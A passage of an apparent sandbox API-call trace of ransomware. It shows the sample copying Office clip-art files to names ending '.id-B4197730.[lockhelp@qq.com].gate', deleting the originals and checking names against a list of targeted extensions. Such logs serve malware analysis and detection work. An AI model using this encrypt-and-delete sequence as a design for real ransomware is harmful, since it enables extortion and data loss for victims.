SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.124] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.127] GetLastError () returned 0x0 [0278.127] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1a1c, lpOverlapped=0x0) returned 1 [0278.157] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1a20, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1a20, lpOverlapped=0x0) returned 1 [0278.158] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.158] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0278.158] SetEndOfFile (hFile=0x394) returned 1 [0278.158] CloseHandle (hObject=0x394) returned 1 [0278.159] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.159] SetEndOfFile (hFile=0x3f8) returned 1 [0278.161] CloseHandle (hObject=0x3f8) returned 1 [0278.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.162] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00037_.gif")) returned 1 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.162] lstrlenW (lpString=".doc") returned 4 [0278.162] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.162] lstrlenW (lpString=".docx") returned 5 [0278.162] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.162] lstrlenW (lpString=".pdf") returned 4 [0278.162] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.162] lstrlenW (lpString=".xls") returned 4 [0278.162] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.162] lstrlenW (lpString=".xlsx") returned 5 [0278.162] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.162] lstrlenW (lpString=".ppt") returned 4 [0278.162] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.162] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.162] lstrlenW (lpString=".zip") returned 4 [0278.162] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.162] lstrlenW (lpString=".rar") returned 4 [0278.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString=".bz2") returned 4 [0278.163] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.163] lstrlenW (lpString=".7z") returned 3 [0278.163] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString=".dbf") returned 4 [0278.163] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString=".1cd") returned 4 [0278.163] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString=".jpg") returned 4 [0278.163] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString=".doc") returned 4 [0278.163] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.163] lstrlenW (lpString=".docx") returned 5 [0278.163] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.163] lstrlenW (lpString=".pdf") returned 4 [0278.163] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString=".xls") returned 4 [0278.163] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString=".xlsx") returned 5 [0278.163] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.163] lstrlenW (lpString=".ppt") returned 4 [0278.163] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.163] lstrlenW (lpString=".zip") returned 4 [0278.163] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString=".rar") returned 4 [0278.163] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.163] lstrlenW (lpString=".bz2") returned 4 [0278.164] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.164] lstrlenW (lpString=".7z") returned 3 [0278.164] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.164] lstrlenW (lpString=".dbf") returned 4 [0278.164] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.164] lstrlenW (lpString=".1cd") returned 4 [0278.164] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.164] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00037_.GIF") returned 68 [0278.164] lstrlenW (lpString=".jpg") returned 4 [0278.164] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.164] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.164] lstrlenW (lpString="AG00040_.GIF") returned 12 [0278.164] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.164] GetFileSizeEx (in: hFile=0x3f8, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=8097) returned 1 [0278.164] CloseHandle (hObject=0x3f8) returned 1 [0278.164] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 0x220 [0278.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3f8 [0278.165] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.165] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.165] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0278.165] GetLastError () returned 0x0 [0278.165] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x1fa1, lpOverlapped=0x0) returned 1 [0278.206] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x1fb0, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x1fb0, lpOverlapped=0x0) returned 1 [0278.207] ReadFile (in: hFile=0x3f8, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.207] WriteFile (in: hFile=0x394, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0278.208] SetEndOfFile (hFile=0x394) returned 1 [0278.208] CloseHandle (hObject=0x394) returned 1 [0278.209] SetFilePointerEx (in: hFile=0x3f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.209] SetEndOfFile (hFile=0x3f8) returned 1 [0278.211] CloseHandle (hObject=0x3f8) returned 1 [0278.211] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.211] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00040_.gif")) returned 1 [0278.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.212] lstrlenW (lpString=".doc") returned 4 [0278.212] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.212] lstrlenW (lpString=".docx") returned 5 [0278.212] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.212] lstrlenW (lpString=".pdf") returned 4 [0278.212] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.212] lstrlenW (lpString=".xls") returned 4 [0278.212] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.212] lstrlenW (lpString=".xlsx") returned 5 [0278.212] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.212] lstrlenW (lpString=".ppt") returned 4 [0278.212] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.212] lstrlenW (lpString=".zip") returned 4 [0278.212] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.212] lstrlenW (lpString=".rar") returned 4 [0278.212] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.212] lstrlenW (lpString=".bz2") returned 4 [0278.212] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.212] lstrlenW (lpString=".7z") returned 3 [0278.212] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.212] lstrlenW (lpString=".dbf") returned 4 [0278.212] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString=".1cd") returned 4 [0278.213] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString=".jpg") returned 4 [0278.213] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString=".doc") returned 4 [0278.213] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.213] lstrlenW (lpString=".docx") returned 5 [0278.213] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.213] lstrlenW (lpString=".pdf") returned 4 [0278.213] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString=".xls") returned 4 [0278.213] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString=".xlsx") returned 5 [0278.213] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.213] lstrlenW (lpString=".ppt") returned 4 [0278.213] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString=".zip") returned 4 [0278.213] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString=".rar") returned 4 [0278.213] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.213] lstrlenW (lpString=".bz2") returned 4 [0278.213] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.213] lstrlenW (lpString=".7z") returned 3 [0278.213] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.213] lstrlenW (lpString=".dbf") returned 4 [0278.213] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.214] lstrlenW (lpString=".1cd") returned 4 [0278.214] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00040_.GIF") returned 68 [0278.214] lstrlenW (lpString=".jpg") returned 4 [0278.214] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.214] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.214] lstrlenW (lpString="AG00090_.GIF") returned 12 [0278.214] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.220] GetFileSizeEx (in: hFile=0x3bc, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=517) returned 1 [0278.220] CloseHandle (hObject=0x3bc) returned 1 [0278.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 0x220 [0278.220] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0278.221] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.221] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.221] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0278.221] GetLastError () returned 0x0 [0278.221] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x205, lpOverlapped=0x0) returned 1 [0278.222] WriteFile (in: hFile=0x390, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0x210, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0x210, lpOverlapped=0x0) returned 1 [0278.223] ReadFile (in: hFile=0x3bc, lpBuffer=0x3fae020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffecc, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesRead=0x34ffecc*=0x0, lpOverlapped=0x0) returned 1 [0278.223] WriteFile (in: hFile=0x390, lpBuffer=0x3fae020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc94, lpOverlapped=0x0 | out: lpBuffer=0x3fae020*, lpNumberOfBytesWritten=0x34ffc94*=0xec, lpOverlapped=0x0) returned 1 [0278.314] SetEndOfFile (hFile=0x390) returned 1 [0278.340] CloseHandle (hObject=0x390) returned 1 [0278.341] SetFilePointerEx (in: hFile=0x3bc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.341] SetEndOfFile (hFile=0x3bc) returned 1 [0278.935] CloseHandle (hObject=0x3bc) returned 1 [0278.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0278.936] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00090_.gif")) returned 1 [0278.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.938] lstrlenW (lpString=".doc") returned 4 [0278.938] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.938] lstrlenW (lpString=".docx") returned 5 [0278.938] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.938] lstrlenW (lpString=".pdf") returned 4 [0278.938] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.938] lstrlenW (lpString=".xls") returned 4 [0278.938] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.938] lstrlenW (lpString=".xlsx") returned 5 [0278.938] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.938] lstrlenW (lpString=".ppt") returned 4 [0278.938] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.938] lstrlenW (lpString=".zip") returned 4 [0278.938] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.938] lstrlenW (lpString=".rar") returned 4 [0278.938] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.938] lstrlenW (lpString=".bz2") returned 4 [0278.938] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.938] lstrlenW (lpString=".7z") returned 3 [0278.938] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.938] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.938] lstrlenW (lpString=".dbf") returned 4 [0278.939] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.939] lstrlenW (lpString=".1cd") returned 4 [0278.939] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.939] lstrlenW (lpString=".jpg") returned 4 [0278.939] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.939] lstrlenW (lpString=".doc") returned 4 [0278.939] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0278.939] lstrlenW (lpString=".docx") returned 5 [0278.939] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0278.939] lstrlenW (lpString=".pdf") returned 4 [0278.939] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0278.939] lstrlenW (lpString=".xls") returned 4 [0278.939] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0278.939] lstrlenW (lpString=".xlsx") returned 5 [0278.939] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0278.939] lstrlenW (lpString=".ppt") returned 4 [0278.939] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0278.939] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.939] lstrlenW (lpString=".zip") returned 4 [0278.939] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0278.939] lstrlenW (lpString=".rar") returned 4 [0278.940] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0278.940] lstrlenW (lpString=".bz2") returned 4 [0278.940] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0278.940] lstrlenW (lpString=".7z") returned 3 [0278.940] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0278.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.940] lstrlenW (lpString=".dbf") returned 4 [0278.940] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0278.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.940] lstrlenW (lpString=".1cd") returned 4 [0278.940] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0278.940] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00090_.GIF") returned 68 [0278.940] lstrlenW (lpString=".jpg") returned 4 [0278.940] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0278.940] lstrcmpiW (lpString1=".GIF", lpString2=".gate") returned 1 [0278.940] lstrlenW (lpString="AG00129_.GIF") returned 12 [0278.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.941] GetFileSizeEx (in: hFile=0x404, lpFileSize=0x34fff14 | out: lpFileSize=0x34fff14*=12482) returned 1 [0278.941] CloseHandle (hObject=0x404) returned 1 [0278.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif")) returned 0x220 [0278.942] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0278.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x404 [0278.942] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.942] SetFilePointerEx (in: hFile=0x404, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec0 | out: lpNewFilePointer=0x0) returned 1 [0278.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00129_.GIF.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00129_.gif.id-b4197730.[lockhelp@qq.com].gate"), 